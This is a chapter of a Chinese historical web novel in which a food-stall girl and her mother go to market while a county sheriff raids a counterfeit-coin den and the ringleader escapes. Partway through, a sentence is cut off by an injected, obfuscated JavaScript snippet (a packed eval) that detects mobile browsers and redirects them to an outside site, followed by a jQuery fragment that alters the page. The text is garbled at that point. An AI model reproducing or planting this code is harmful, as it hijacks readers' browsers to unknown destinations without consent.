夜色沉沉,寒意浸骨。
苏桃打着哈欠推开西厢房的门,眼角余光瞥见斜对面正屋的门也吱呀一声开了。
她有些惊讶:“娘,你怎么起来了?早晨我炖一锅汤就出摊了,不用你帮忙烧火,你赶快回去休息吧。”
李娟神色清明,一夜未眠。她站在屋门口,身上已穿戴齐整,发髻也梳得一丝不苟,语气柔和又坚定:“阿桃,我和你一起去摆摊。”
“啊?”苏桃有些意外,下意识回头看向西厢房,“那…杨儿和柳儿怎么办?”
李娟道:“杨儿九岁了,能照看好柳儿。我会做好早食温在灶上,等杨儿醒后喂柳儿吃完早饭,咱们差不多也要收摊回来了,不耽误什么。”
苏桃仍有顾虑:“可是外头这么冷,娘你的身体……”
李娟道:“我身子已经大好,再过些时日便能停药了。外头冷,我多穿件厚实的袄子便是,不要紧的。”
“那好吧。”见她心意已决,苏桃也不再阻拦,“那咱们今日便一起出去摆摊。”
两人走下台阶,并肩往厨房走去。进入厨房,一人生火添柴,一人拿刀斩骨,灶火熊熊,暖融融的光晕映亮了窗户,菜刀斩在骨头上咚咚哐哐作响,两人齐心协力为今日的生计忙碌着。
夜色沉沉,县城高大的城墙巍峨屹立,守城的兵丁举着火把在墙上来回巡逻,四周万籁俱寂。
城外官道上,一队人马影影绰绰由远及近,速度不算很快,却带着一股肃杀之气。
“什么人?!”墙头兵丁警觉,立刻高声喝问。
城墙上的火光勉强照亮城下队伍。那队人马分作了两部分。前面数十人骑马,身着平民常服,胸前背后却鼓鼓囊囊,显然里面穿了软甲,他们佩刀拿弓,个个身姿挺拔,气势不凡;后面那群人仅着单薄里衣,哆哆嗦嗦被绳索捆成了粽子,嘴被堵着,唯有一双脚还能走动,他们双手被一根绳串成了一串,绳头被前面一骑马之人牢牢攥在手里,如牵牲畜一般。
而为首之人端坐马上,眉眼在光影中显得格外深邃俊朗,那正是本县县尉,陆青云。
落后他半个身位的王都头得了示意,打马上前,举起腰牌,朝城上朗声大喊:“衙门办案,案情紧急,速开城门!”墙头兵丁对视一眼,旋即有人下城查验腰牌,又认出陆青云模样,不敢耽搁,忙开了城门。
队伍长驱直入,转瞬便隐入县城夜色中。
行至一僻静处,陆青云勒住马,翻身而下,低声吩咐一名都头:“你带人将这些嫌犯押回县衙大牢,亲自守着,不许任何人靠近。若有人问起,就说他们是一伙山贼,旁的不要透露。”又转头看向王都头,“你等随我前往主犯窝点,缉拿首恶。”
众人齐声应是。
陆青云与王都头等人熄灭火把,沿偏僻街巷一路往南,复又向西,行至县城西南角的宁顺坊。
此时正值深夜,宁顺坊坊门紧闭,陆青云既未强敲坊门,也没有传唤坊正,只回身看向人群中唯一未被押走的犯人。王都头上前扯开那犯人嘴中布头,陆青云目光冷冽,话音里带着上位者掌其生杀予夺的冷酷:“你应该知道自己要做什么。待本官抓住主犯,破了此案,本官保你不死。可若是你敢耍花样,让人逃了,本官纵使一时奈何不了旁人,但你,却是必死无疑。”
他收回目光,淡声劝道:“想清楚,你的命只有一条,没有必要为了别人赔上你自己的性命。”
那犯人浑身抖如筛糠,躬身道:“小、小人明白…定、定全力配合官人……”
县城坊墙百年前便已被拆去大半,临街临巷皆建起商铺,坊周围通往坊内的窄巷口不知凡几。陆青云等人随那犯人从一处窄巷口进入宁顺坊,在纵横交错的窄巷、横巷与背巷当中穿行半晌,到了一座看起来平平无奇的民宅前。
陆青云锐利的目光落在那紧闭的院门上,低声问道:“就是此处?”
那犯人忙躬身回话,声音打着颤儿:“回县尉官人,正是此处。每隔一段时日,小人便要来此取子模泥铸,也要将那铸钱的账本送来。”
陆青云低声吩咐一都头:“你带一队人将这座宅院团团围住,紧盯各处矮墙、狗洞与墙缝,谨防里头的人逃脱。”又冲王都头使了个眼色,走上前站在了门边。
王都头会意,走到院门前,沉腰蓄力,抬脚猛然一踹!
“哐当”一声巨响,老旧的门闩(shuan,第一声)断裂,木门应声而开。
“什么人?!”院内传出一声惊恐怒喝。
陆青云提刀率先冲入院内,厉声高喝:“县衙办案,缉拿重犯!所有人弃械蹲伏,抗命者,以同罪论处!”
王都头带着弓手紧随其后,分散扑向各处,见人反抗便挥刀砍,砍胸砍背,砍胳膊砍腿,刀刀见血,下手十分狠辣。他们一边砍人一边大喊:“县衙办案!弃械蹲伏者不杀!”
陆青云揪住一人,厉声喝问:“你们主事之人何在?!”
那人被吓得面无血色,哆哆嗦嗦伸手,指向后院。
陆青云当即喝道:“王都头,不要耽搁时间,随我去后院抓人!”说罢一马当先走向通往后院的侧门,一脚踹开,径直冲向主屋。
然而主屋内空空荡荡,四下搜查一番,既无一人,亦无一物。此时,王都头急冲冲赶来,躬身道:“陆官人!属下只抓住两个小厮,问其母钱与账本何在,二人皆说不知!”
陆青云眉眼骤然凌厉起来,隐有怒火翻涌。王都头瞧其脸色,不敢耽搁,忙喊来一人作垫脚,纵身跃上墙头,冲守在外面的弓手喝问:“可瞧见有人从院内逃出?”
墙外弓手高声道:“回王都头,没有看见,别说人了,连一只老鼠都未见着!”
王都头得了回话,翻身跃下墙头,回到陆青云身侧躬身待命。陆青云亦听清了弓手的话,低声喃喃自语:“前有堵截,后有包围,院子里却找不到人,这不符合常理……此处必有暗道,给我仔细搜!”
王都头立刻转身,冲众弓手发布命令:“仔细搜查后院,每一处角落都不可漏过,务必找出密道!”
不多时,一名弓手快步跑来:“报!官人,水缸下发现一处地洞!”陆青云忙快步走去,果见水缸旁有一窄小洞口,仅容一人通过,洞内黑漆漆一片,不知通向何处。他正欲下去探查,王都头忙上前拦住:“官人,此处凶险,让属下先为您开路!”
陆青云看他一眼,凌厉的眉眼稍缓,微微颔首。王都头躬身钻入地洞,不多时便折返回来:“官人,这地洞不长,就通往隔壁院子。”
陆青云转身去查看隔壁院子。那是一座早已无人居住的废宅,后院长满荒草,一片萧瑟。王都头指着院中枯井道:“属下便是从这井中爬出来的。”
陆青云看了看枯井,缓步在院内绕行一周,发现一道角门,破木板敞开着,外头是一条僻静背巷,他蹲下身,在泥地上发现了一枚尚算清晰的脚印:“看来人就是从这里逃出去的。”
王都头问道:“官人,现在我们该怎么办?”
陆青云起身,目光望向背巷深处,吐出一个字:“追。”
此时夜色未散,宵禁未除,百姓们皆闭门歇宿,坊内街巷鲜有行人。那逃犯在巷中奔逃,动静极易察觉,未必追之不及。
陆青云快步走出背巷,左右扫了眼两边宅院,王都头立刻意会,带人拍门入内搜查。
如此接连搜查了十数家宅院,那逃犯却太过狡猾,直到天光微亮,城门将开,也一无所获,只抓了几个形迹可疑却无法确认的闲汉。
王都头不禁面露急色:“官人,怎么办?城门要开了,若让那人携母钱与账本逃出城去,我等再想擒他,便无异于大海捞针了!”
陆青云思索片刻,接连下令:“将所抓之人悉数押回县衙,严加审问主事者容貌,令画工绘其画像,发布海捕文书,全城张贴!不要泄露实情,就说他是喜好翻墙闯入宅院、杀人越货的强盗,让百姓们积极提供线索。”
“速去通知城门守卫,所有出城之人皆需严加盘查,传官媒与稳婆前往城门协助,谨防罪犯扮作妇人,或藏匿于女眷车舆、衣箱之中逃脱。”
“再通知宁顺坊坊正,令其配合调查,遍访坊内百姓,令百姓们互相作保,指认坊内陌生面孔,着其提供身份证明,同时查探那座宅院的主人或是租户信息,顺藤摸瓜追查线索。”
众人齐声应是,立刻分头执行命令。
天渐渐亮了,街道上的人影渐渐多了起来,陆青云带着一众犯人快步行走,王都头紧随其身侧,低声禀报道:“……也是巧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310049|198791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,据宅院内犯人初步招供,那携母钱与账本逃脱之人本就是一名杀人犯,逃入山中当了强盗,后来不知道搭上了哪条线,竟做起了这私铸铜钱的买卖,又躲回城里享起了福……”
陆青云默然听着,神情威严沉稳,看似主犯逃脱的意外于他而言不过是小事一桩,然其心底,却藏着一丝难以言说的沮丧。筹谋多日,带着弓手们城外城内日夜追查,眼看就要人赃并获,却在最后关头功亏一篑,一股挫败感充盈在他心间,挥之迟迟不去。
他疾步快走,蓦地拐入德安街,远远便看见街口聚着些人影,几个摊子冒着腾腾热气。
一张洋溢着勃勃生机的鹅蛋脸顿时闪过脑海,陆青云不由放慢了脚步,思绪飘远,那位小娘子,她今日也在那里摆摊吗?是否仍如往日一样笑容灿烂地招呼着客人?仿佛这天寒地冻猎猎寒风不过是她昂扬生长的生命里些许微不足道的点缀?
王都头顺着他的视线望去,瞧见那片热闹的小摊,却一时无法准确地揣摩出他的想法:“陆官人?”
陆青云回神,冷声道:“将他们赶走。”
一名弓手快步走过去,高声喝道:“走走走!此处不准摆摊,尔等莫非不知?都速速离开!”
苏桃正在煎小馒头,忽闻厉喝,抬眼瞧去,见那人面孔陌生衣着平常,一时没反应过来。她再转头,看见了远处的陆青云,心里咯噔一声,忙把铜钱塞回客人手中,连声致歉:“收摊了收摊了,对不住各位,还请移步别处购买吧。”
卖团子的王大娘也没认出那人,低声嘀咕:“谁啊?凭什么让我走?”
苏桃忙拍拍她的手,凑到她耳边低声提醒:“县衙的人,快走!”
王大娘一惊,不敢耽搁,忙转头通知身旁摊主。消息一传二,四传八,街口的摊主们皆手忙脚乱,匆匆收拾摊位,作鸟兽散。
苏桃动作更快,三下五除二便将生煎锅、炉子等物归置妥当,推起独轮车便要走,一道清朗又带着疲惫的声音却在耳边响起:“苏小娘子。”
苏桃惊讶抬头,陆青云不知何时竟已走到她身边,她尚来不及细想他怎么知道她姓苏,便听他道:“近日莫要再出来摆摊了,城里出现了一个强盗,喜欢翻人院墙、杀人越货,你一个小娘子,日日天不亮便出门,孤身行走于巷道间,又独自在外面摆摊,很危险。”
苏桃一愣,忙敛衽行礼:“民女知道了,多谢官人提醒。”说罢推起独轮车便走,心底满是疑惑:杀人越货的强盗?哪来的?前几天刚有假|钱流通,现在又来一强盗?真是一波未平一波又起啊。
李娟跟着女儿一路低头快走,走出老远才停下来,回头偷偷瞄了一眼陆青云挺直的背影,凑到苏桃耳边好奇问道:“阿桃,那是谁啊?你在他面前怎么那么拘谨?”
苏桃小声道:“那是本县县尉。”
李娟蓦地睁大眼睛:“县尉官人?!你居然认得我们县的县尉官人?你是怎么认识他的?”
苏桃敏锐地从她的表情和语气当中察觉到了一丝上辈子闺蜜会有的兴奋和八卦,没好气道:“怎么认识的?被赶走的时候认识的。”
李娟:“啊?”
苏桃摇摇头:“娘,那是大人物,与咱们平民百姓扯不上半点关系。咱们老老实实的,他说什么咱们便做什么,不去打扰人家,就是最不讨人嫌的做法了。”
李娟:“哦。”
母女二人行至安义坊,过坊门时,见有衙役在坊口的粉壁上张贴告示,数名百姓围在一旁,指指点点议论纷纷。
“怎的又有强盗了?还专好翻人院墙杀人抢东西?这世道不太平啊。”
“可不是嘛,瞧着怪吓人的。”
苏桃心头一动,推着独轮车走上前,抬眼细看了起来。
身旁百姓仍在议论,一人道:“倒也不是全是坏事,你瞧告示上写着,若有人能提供线索,赏钱一陌;若线索能助官府抓住此盗,赏钱整整三贯呢!”另一人惊呼:“三贯钱?这可不少!县衙这次居然这么大方?”
苏桃亦看清了告示上的赏格,她仔细瞧那画像,心里嘀咕:这强盗瞧着胡子拉碴,膀大腰圆的,眉眼却生得很妩媚呢,眼睛内眦角尖尖的,像狐狸一样。
嘀咕完了,她推起独轮车,和娘一起往家的方向走去。